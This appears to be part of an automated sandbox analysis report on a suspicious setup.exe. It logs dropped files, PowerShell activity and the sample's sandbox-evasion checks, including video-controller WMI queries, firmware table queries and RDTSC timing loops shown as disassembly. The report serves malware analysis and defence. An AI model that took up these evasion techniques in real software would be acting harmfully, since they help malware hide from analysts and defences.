Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705ACF push ebx; retf 0007h	4_2_03705ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705AAF push ecx; retf 0007h	4_2_03705ABA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03703A9B push ebx; retf	4_2_03703ADA

Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	File created: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	File created: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\is-T64JA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_setup64.tmp	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\setup.exe

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

API/Special instruction interceptor: Address: 6BC57C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BC5F3E1 second address: 6BC5F3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BC5F3FD second address: 6BC5F3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007F1EA54681E5h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007F1EA5468270h 0x00000031 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5519			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4310			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_isdecmp.dll	Jump to dropped file
